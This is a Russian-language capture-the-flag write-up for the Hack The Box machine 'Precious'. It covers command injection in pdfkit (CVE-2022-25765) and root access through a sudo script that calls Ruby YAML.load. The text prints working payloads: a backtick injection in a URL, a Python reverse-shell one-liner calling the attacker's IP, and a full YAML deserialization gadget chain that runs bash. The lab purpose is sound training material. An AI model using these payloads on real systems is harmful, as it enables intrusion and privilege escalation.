Хакер - HTB Precious. Эксплуатируем простую RCE в приложении на Ruby
hacker_freiRalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе я покажу, как эксплуатировать уязвимость в приложении на Ruby, возникшую из‑за непроверенной десериализации. По дороге для продвижения заюзаем баг в pdfkit и поищем учетные данные на удаленном хосте.
Наша цель — захват рута на тренировочной машине Precious с площадки Hack The Box. Уровень сложности — легкий
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.189 precious.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Мы нашли всего два открытых порта:
- порт 22 — служба OpenSSH 8.4p1;
- порт 80 — веб‑сервер Nginx 1.18.0.
Про SSH, как всегда на машинах с HTB, можно забыть, пока у нас нет учетных данных. Сразу откроем браузер для изучения веб‑сайта.
Справка: брутфорс учеток
Поскольку в начале прохождения у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем делать здесь, — это перебирать пароли брутфорсом, но у машин с HTB почти всегда есть другое прохождение. В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социальной инженерии.
Нас встречает форма конвертера веб‑страницы в файл PDF. А это потенциальная точка входа.
ТОЧКА ВХОДА
Первым же делом я попробовал прочитать локальный файл /etc/passwd
, запросив URL file:///etc/passwd
. На этот запрос сервер вернул ошибку «You should provide a valid URL!». Следующий этап — попробовать получить внутренние страницы, обращаясь на адрес 127.0.0.1
, localhost
и другие его варианты. На запросы такого плана получаем ошибку «Cannot load remote URL!».
Значит, сервер все же делает какой‑то запрос. Давай тогда запустим на своем хосте веб‑сервер:
python3 -m http.server 80
Выполняем запрос на него и видим, что в отдельной вкладке открылся PDF, содержащий ответ нашего сервера.
Теперь с помощью exiftool мы можем посмотреть, какая программа была использована, чтобы сгенерировать PDF.
Узнаем не только название генератора, но и его точную версию: pdfkit v0.8.6. Отлично, значит, мы можем поискать готовые эксплоиты.
А так как мы знаем технологию, сразу проверяем публично доступные эксплоиты. Можешь использовать специальные средства вроде searchsploit, но куда проще поискать в Google.
Видим упоминание уязвимости CVE-2022-25765. Давай разбираться.
ТОЧКА ОПОРЫ
Находим подробное описание способа эксплуатации.
Таким образом, если мы закодируем команду в URL и передадим в параметре запроса, то из‑за неправильной обработки этого параметра команда будет выполнена. Для теста выполним команду id
, отправив в форму URL:
curl http://10.10.14.44/?test=%20`id`
В скачанном документе отражен вывод отправленной команды. Запускаем листенер pwncat-cs и выполняем следующий реверс‑шелл на Python 3:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.44",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("bash")'
ПРОДВИЖЕНИЕ
Теперь нам нужно собрать информацию. Я обычно использую для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим на хост скрипт для Linux, для чего комбинацией клавиш Ctrl-D перейдем в главное меню pwncat-cs и выполним команду upload
. Затем командой back
возвращаемся к командной оболочке сессии, даем скрипту права на выполнение и запускаем сканирование. В выводе будет много информации, поэтому отберем только значимую. В этот раз отмечаем наличие файлов истории и настроек.
Просматриваем найденные файлы и в конфиге ~/.bundle/config
находим пароль.
Этот пароль может подойти к другим службам или учетным записям пользователей, что мы, конечно же, проверим. Из файла /etc/passwd
узнаем о существовании пользователя henry
. Теперь либо с помощью su переходим в его контекст, либо авторизуемся в новой сессии SSH.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Разведку уже проводили, поэтому снова запускать LinPEAS или другие энумераторы особого смысла нет. Однако есть места, которые стоит проверить из‑за того, что у нас новый контекст работы. Например, настройки sudoers.
sudo -l
Справка: sudoers
Файл /etc/sudoers
в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l
.
Мы узнали, что можно выполнить в привилегированном контексте без ввода пароля (NOPASSWD
) такую команду:
/usr/bin/ruby /opt/update/dependencies.rb
Давай посмотрим исходный код этого скрипта.
Я сразу подметил использование модуля YAML
и функции load
. Этот модуль предоставляет интерфейс Ruby для сериализации и десериализации данных в формате YAML.
Справка: сериализация и десериализация
Сериализация — это процесс преобразования объекта в последовательность байтов, которые затем могут быть переданы по сети либо сохранены в файловой системе или в базе данных. Эти байты включают в себя всю информацию, необходимую для восстановления исходного объекта. Процесс реконструкции называется десериализацией. Таким образом, используя заранее сериализованный объект, при его десериализации можно выполнить произвольный код.
В нашем случае мы можем передать произвольные данные в функцию YAML.load()
, так как они считываются из файла dependencies.yml
. Существует уже много готовых нагрузок. К примеру, так мы можем выполнить команду bash
, что даст нам привилегированную командную оболочку.
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: bash
method_id: :resolve
Создаем такой файл в текущем каталоге и запускаем найденный скрипт под sudo. После вывода ошибок запустится новая командная оболочка.
sudo /usr/bin/ruby /opt/update/dependencies.rb
Мы получили флаг рута, машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei